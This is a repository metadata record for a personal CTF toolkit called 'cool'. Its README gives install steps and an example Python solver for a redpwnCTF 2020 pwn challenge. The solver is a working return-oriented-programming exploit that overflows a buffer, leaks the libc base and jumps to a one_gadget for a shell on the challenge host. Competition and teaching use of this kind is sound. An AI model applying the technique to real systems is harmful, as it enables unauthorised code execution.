{"id":24286173,"url":"https://github.com/d2verb/cool","last_synced_at":"2026-01-06T22:07:38.911Z","repository":{"id":98589520,"uuid":"275401492","full_name":"d2verb/cool","owner":"d2verb","description":"CTF tools fo me","archived":false,"fork":false,"pushed_at":"2022-10-30T09:56:39.000Z","size":92,"stargazers_count":3,"open_issues_count":1,"forks_count":0,"subscribers_count":1,"default_branch":"master","last_synced_at":"2025-01-31T06:11:17.313Z","etag":null,"topics":[],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":"mit","status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/d2verb.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":"LICENSE","code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2020-06-27T15:36:06.000Z","updated_at":"2022-10-30T09:56:43.000Z","dependencies_parsed_at":null,"dependency_job_id":"cf85a626-baa3-497b-ba3d-c61091c40015","html_url":"https://github.com/d2verb/cool","commit_stats":null,"previous_names":[],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/d2verb%2Fcool","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/d2verb%2Fcool/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/d2verb%2Fcool/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/d2verb%2Fcool/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/d2verb","download_url":"https://codeload.github.com/d2verb/cool/tar.gz/refs/heads/master","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":245585810,"owners_count":20639671,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":[],"created_at":"2025-01-16T07:28:51.306Z","updated_at":"2026-01-06T22:07:33.878Z","avatar_url":"https://github.com/d2verb.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"# cool - CTF toolkit for me\n[![CI](https://github.com/d2verb/cool/actions/workflows/main.yml/badge.svg)](https://github.com/d2verb/cool/actions)\n[![License: MIT](https://img.shields.io/badge/License-MIT-blue.svg)](https://github.com/d2verb/cool/blob/master/LICENSE)\n\n## Prerequisite\n\n`cool` uses `gmpy2`, so you must install some dependencies for it. In Linux case, just run following commands.\n\n```shell\n$ sudo apt-get update\n$ sudo apt-get install -y libgmp-dev libmpfr-dev libmpc-dev libgmp3-dev\n```\n\n## How to install\nWe don't provide any convenient way to install now. You can install `cool` by downloading the artifact of GitHub Actions (named as `dist`) and using the wheel file in it.\n\n```shell\n$ unzip dist.zip\n$ pip install ./dist/cool-0.1.0-py3-none-any.whl\n```\n\n\n## Example\nThis is an example solver to solve the pwn challenge (the-library) in redpwnCTF 2020.\n\n```python\nfrom cool.pwn import elf, remote\nfrom cool.util import p64, u64\n\ne = elf(\"./tmp/the-library\")\nl = elf(\"./tmp/libc.so.6\")\np = remote(\"2020.redpwnc.tf\", 31350)\n\npop_rdi = 0x00400733\none_gadget_offset = 0x10A38C\n\npld = b\"A\" * 0x18\npld += p64(pop_rdi)\npld += p64(e.got[\"read\"])\npld += p64(e.plt[\"puts\"])\npld += p64(e.symbols[\"main\"])\n\n# libc base leak\np.sendafter(b\"name?\\n\", pld)\np.recvuntil(b\"Hello there: \")\nlibc_base = u64(p.recv()[29 : 29 + 6] + b\"\\x00\\x00\") - l.symbols[\"read\"]\nprint(f\"[*] libc base: 0x{libc_base:x}\")\n\n# execute main again \u0026 send one_gadget RCE address\none_gadget = one_gadget_offset + libc_base\npld = b\"A\" * 0x18\npld += p64(one_gadget)\n\np.sendline(pld)\np.interact()\n```\n\n## License\nMIT License\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fd2verb%2Fcool","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fd2verb%2Fcool","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fd2verb%2Fcool/lists"}